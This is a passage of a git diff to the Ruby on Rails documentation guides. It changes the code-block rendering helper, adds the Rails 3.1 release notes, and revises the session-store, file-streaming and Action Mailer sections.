- body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
- brush = case $1
- when 'ruby', 'sql', 'plain'
- $1
- when 'erb'
- 'ruby; html-script: true'
- when 'html'
- 'xml' # html is understood, but there are .xml rules in the CSS
- else
- 'plain'
- end
-
- code_blocks.push(<<HTML)
-<notextile>
-<div class="code_container">
-<pre class="brush: #{brush}; gutter: false; toolbar: false">
-#{ERB::Util.h($2).strip}
-</pre>
-</div>
-</notextile>
-HTML
- "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n"
- end
-
- body = yield body
-
- body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_|
- code_blocks[$1.to_i]
- end
+ t = RedCloth.new(body)
+ t.hard_breaks = false
+ t.lite_mode = lite_mode
+ t.to_html(:notestuff, :plusplus, :code)
end
def warn_about_broken_links(html)
diff --git a/railties/guides/rails_guides/textile_extensions.rb b/railties/guides/rails_guides/textile_extensions.rb
index b3e0e32357..4677fae504 100644
--- a/railties/guides/rails_guides/textile_extensions.rb
+++ b/railties/guides/rails_guides/textile_extensions.rb
@@ -33,11 +33,30 @@ module RailsGuides
body.gsub!('<plus>', '+')
end
+ def brush_for(code_type)
+ case code_type
+ when 'ruby', 'sql', 'plain'
+ code_type
+ when 'erb'
+ 'ruby; html-script: true'
+ when 'html'
+ 'xml' # html is understood, but there are .xml rules in the CSS
+ else
+ 'plain'
+ end
+ end
+
def code(body)
body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m|
- es = ERB::Util.h($2)
- css_class = $1.in?(['erb', 'shell']) ? 'html' : $1
- %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>}
+ <<HTML
+<notextile>
+<div class="code_container">
+<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false">
+#{ERB::Util.h($2).strip}
+</pre>
+</div>
+</notextile>
+HTML
end
end
end
diff --git a/railties/guides/source/3_0_release_notes.textile b/railties/guides/source/3_0_release_notes.textile
index fbb684978a..d22c76dd81 100644
--- a/railties/guides/source/3_0_release_notes.textile
+++ b/railties/guides/source/3_0_release_notes.textile
@@ -59,12 +59,12 @@ The +config.gem+ method is gone and has been replaced by using +bundler+ and a +
h4. Upgrade Process
-To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/jm/rails_upgrade has been created to automate part of it.
+To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it.
Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
<shell>
-$ ruby script/plugin install git://github.com/jm/rails_upgrade.git
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
</shell>
You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin
diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile
new file mode 100644
index 0000000000..c4da87dc34
--- /dev/null
+++ b/railties/guides/source/3_1_release_notes.textile
@@ -0,0 +1,431 @@
+h2. Ruby on Rails 3.1 Release Notes
+
+Highlights in Rails 3.1:
+
+* Streaming
+* Reversible Migrations
+* Assets Pipeline
+* jQuery as the default JavaScript library
+
+This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
+
+endprologue.
+
+h3. Upgrading to Rails 3.1
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
+
+h4. Rails 3.1 requires at least Ruby 1.8.7
+
+Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+
+h3. Creating a Rails 3.1 application
+
+<shell>
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+</shell>
+
+h4. Vendoring Gems
+
+Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - "bundler homepage":http://gembundler.com
+
+h4. Living on the Edge
+
++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
+
+<shell>
+$ rails new myapp --edge
+</shell>
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
+
+<shell>
+$ ruby /path/to/rails/bin/rails new myapp --dev
+</shell>
+
+h3. Rails Architectural Changes
+
+h4. Assets Pipeline
+
+The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
+
+The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide.
+
+h4. HTTP Streaming
+
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+
+h4. Default JS library is now jQuery
+
+jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
+
+<shell>
+$ rails new myapp -j prototype
+</shell>
+
+h4. Identity Map
+
+Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
+
+Rails 3.1 comes with the identity map turned off by default.
+
+h3. Railties
+
+* jQuery is the new default JavaScript library.
+
+* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
+
+* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
+
+* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified.
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available.
+
+* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed.
+
+* Scaffold controller generator creates format block for JSON instead of XML.
+
+* Active Record logging is directed to STDOUT and shown inline in the console.
+
+* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol.
+
+* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
+
+* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack.
+
+* Added <tt>Rack::Cache</tt> to the default middleware stack.
+
+* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+
+h3. Action Pack
+
+h4. Action Controller
+
+* A warning is given out if the CSRF token authenticity cannot be verified.
+
+* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used.
+
+* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log.
+
+* URL parameters which return +nil+ for +to_param+ are now removed from the query string.
+
+* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>.
+
+* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
+
+* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options.
+
+* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call.
+
+<ruby>
+class PostsController < ApplicationController
+ USER_NAME, PASSWORD = "dhh", "secret"
+
+ before_filter :authenticate, :except => [ :index ]
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+
+ private
+ def authenticate
+ authenticate_or_request_with_http_basic do |user_name, password|
+ user_name == USER_NAME && password == PASSWORD
+ end
+ end
+end
+</ruby>
+
+..can now be written as
+
+<ruby>
+class PostsController < ApplicationController
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+end
+</ruby>
+
+* Added streaming support, you can enable it with:
+
+<ruby>
+class PostsController < ActionController::Base
+ stream
+end
+</ruby>
+
+You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information.
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+
+h4. Action Dispatch
+
+* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>.
+
+* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array.
+
+* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers.
+
+* Added <tt>Rack::Cache</tt> to the default stack.
+
+* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack.
+
+* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>.
+
+* Template lookup now searches further up in the inheritance chain.
+
+h4. Action View
+
+* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>.
+
+* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>.
+
+* In place +SafeBuffer+ mutation is prohibited in Rails 3.1.
+
+* Added HTML5 +button_tag+ helper.
+
+* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form.
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options:
+
+<plain>
+tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+</plain>
+
+Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
+
+* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility.
+
+* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
+
+* rhtml and rxml are finally removed as template handlers.
+
+* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not.
+
+* The submit form helper does not generate an id "object_name_id" anymore.
+
+* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>.
+
+* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper.
+
+* Allows AM/PM format in datetime selectors.
+
+* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink
+
+h3. Active Record
+
+* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>.
+<ruby>
+class User < ActiveRecord::Base
+ self.pluralize_table_names = false
+end
+</ruby>
+
+* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
+
+<ruby>
+class User < ActiveRecord::Base
+ has_one :account
+end
+
+user.build_account{ |a| a.credit_limit = 100.0 }
+</ruby>
+
+* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
+
+* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
+
+<ruby>
+class Post < ActiveRecord::Base
+ attr_accessible :title
+ attr_accessible :title, :published_at, :as => :admin
+end
+
+Post.new(params[:post], :as => :admin)
+</ruby>
+
+* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed.
+
+* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records.
+
+* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations.
+
+* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>.
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+<ruby>
+People.limit(1).count # => 'SELECT COUNT(*) FROM people'
+People.offset(1).count # => 'SELECT COUNT(*) FROM people'
+People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+</ruby>
+
+* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead.
+
+* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
+
+* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
+
+* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
+
+* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>.
+
+* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement.
+
+<ruby>
+change_table(:users, :bulk => true) do |t|
+ t.string :company_name
+ t.change :birthdate, :datetime
+end
+</ruby>
+
+* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used.
+
+* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations.
+
+* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method.
+<ruby>
+class MyMigration < ActiveRecord::Migration
+ def change
+ create_table(:horses) do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+end
+</ruby>
+
+* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down.
+
+* Migrations now use instance methods rather than class methods:
+<ruby>
+class FooMigration < ActiveRecord::Migration
+ def up # Not self.up
+ ...
+ end
+end
+</ruby>
+
+* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods.
+
+* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
+
+<ruby>
+has_many :things, :conditions => 'foo = #{bar}' # before
+has_many :things, :conditions => proc { "foo = #{bar}" } # after
+</ruby>
+
+Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within.
+
+You can have any "normal" conditions inside the proc, so the following will work too:
+
+<ruby>
+has_many :things, :conditions => proc { ["foo = ?", bar] }
+</ruby>
+
+* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
+
+* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+<ruby>
+# Schema: User(name:string, password_digest:string, password_salt:string)
+class User < ActiveRecord::Base
+ has_secure_password
+end
+</ruby>
+
+* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns.
+
+* Setting the id of a +belongs_to+ object will update the reference to the object.
+
+* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics.
+
+* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
+
+* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable.
+
+* The query cache now works with prepared statements. No changes in the applications are required.
+
+h3. Active Model
+
+* +attr_accessible+ accepts an option +:as+ to specify a role.
+
+* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+.
+
+* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand.
+
+* Added support for selectively enabling and disabling observers.
+
+* Alternate <tt>I18n</tt> namespace lookup is no longer supported.
+
+h3. Active Resource
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example,
+
+<ruby>
+class User < ActiveResource::Base
+ self.format = :xml
+end
+</ruby>
+
+h3. Active Support
+
+* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+.
+
+* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+.
+
+* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object.
+
+* Added <tt>Object#in?</tt> to test if an object is included in another object.
+
+* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class.
+
+* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes.
+
+* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+.
+
+* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8.
+
+* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time.
+
+* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>.
+
+Deprecations:
+
+* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library.
+
+h3. Credits
+
+See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev.
diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile
index 073e3bddcf..b34c223b31 100644
--- a/railties/guides/source/action_controller_overview.textile
+++ b/railties/guides/source/action_controller_overview.textile
@@ -166,10 +166,10 @@ h3. Session
Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
-* CookieStore - Stores everything on the client.
-* DRbStore - Stores the data on a DRb server.
-* MemCacheStore - Stores the data in a memcache.
-* ActiveRecordStore - Stores the data in a database using Active Record.
+* ActionDispatch::Session::CookieStore - Stores everything on the client.
+* ActiveRecord::SessionStore - Stores the data in a database using Active Record.
+* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache.
+* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
@@ -177,6 +177,8 @@ For most stores this ID is used to look up the session data on the server, e.g.
The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
+
Read more about session storage in the "Security Guide":security.html.
If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
@@ -684,9 +686,11 @@ end
This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
+If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used.
+
WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
-TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work.
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
h4. RESTful Downloads
@@ -794,7 +798,7 @@ NOTE: Certain exceptions are only rescuable from the +ApplicationController+ cla
h3. Force HTTPS protocol
-Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reason. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
+Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
<ruby>
class DinnerController
@@ -813,9 +817,3 @@ end
</ruby>
Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file.
-
-h3. Changelog
-
-* February 17, 2009: Yet another proofread by Xavier Noria.
-
-* November 4, 2008: First release version by Tore Darell
diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile
index f05d9dcf1c..26c95be031 100644
--- a/railties/guides/source/action_mailer_basics.textile
+++ b/railties/guides/source/action_mailer_basics.textile
@@ -8,7 +8,7 @@ WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not
h3. Introduction
-Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+.
+Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+.
h3. Sending Emails
@@ -48,10 +48,8 @@ class UserMailer < ActionMailer::Base
def welcome_email(user)
@user = user
@url = "http://example.com/login"
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site")
+ mail(:to => user.email, :subject => "Welcome to My Awesome Site")
end
-
end
</ruby>
@@ -142,17 +140,17 @@ end
This provides a much simpler implementation that does not require the registering of observers and the like.
-The method +welcome_email+ returns a Mail::Message object which can then just be told +deliver+ to send itself out.
+The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out.
NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself.
-WARNING: Sending out one email should only take a fraction of a second, if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like delayed job.
+WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.
h4. Auto encoding header values
Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
-If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and ActionMailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
+If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library.
@@ -213,7 +211,7 @@ NOTE: If you specify an encoding, Mail will assume that your content is already
h5. Making Inline Attachments
-ActionMailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer:
@@ -242,32 +240,33 @@ end
h5. Sending Email To Multiple Recipients
-It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The <tt>to:</tt> key however expects a string so you have join the list of recipients using a comma.
+It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
<ruby>
- class AdminMailer < ActionMailer::Base
- default :to => Admin.all.map(&:email).join(", "),
- :from => "notification@example.com"
+class AdminMailer < ActionMailer::Base
+ default :to => Admin.all.map(&:email),
+ :from => "notification@example.com"
- def new_registration(user)
- @user = user
- mail(:subject => "New User Signup: #{@user.email}")
- end
+ def new_registration(user)
+ @user = user
+ mail(:subject => "New User Signup: #{@user.email}")
end
+end
</ruby>
+The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively.
+
h5. Sending Email With Name
Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
to format the email address in the format <tt>"Name &lt;email&gt;"</tt>.
<ruby>
- def welcome_email(user)
- @user = user
- email_with_name = "#{@user.name} <#{@user.email}>"
- mail(:to => email_with_name,
- :subject => "Welcome to My Awesome Site")
- end
+def welcome_email(user)
+ @user = user
+ email_with_name = "#{@user.name} <#{@user.email}>"
+ mail(:to => email_with_name, :subject => "Welcome to My Awesome Site")
+end
</ruby>
h4. Mailer Views
@@ -287,9 +286,7 @@ class UserMailer < ActionMailer::Base
:subject => "Welcome to My Awesome Site",
:template_path => 'notifications',
:template_name => 'another')
- end
end
-
end
</ruby>
@@ -365,21 +362,14 @@ When using named routes you only need to supply the +:host+:
Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
-It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in the +ActionMailer::Base.default_url_options+ hash as follows:
+It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option as a configuration option in <tt>config/application.rb</tt>:
<ruby>
-class UserMailer < ActionMailer::Base
- default_url_options[:host] = "example.com"
-
- def welcome_email(user)
- @user = user
- @url = user_url(@user)
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site")
- end
-end
+config.action_mailer.default_url_options = { :host => "example.com" }
</ruby>
+If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided.
+
h4. Sending Multipart Emails
Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
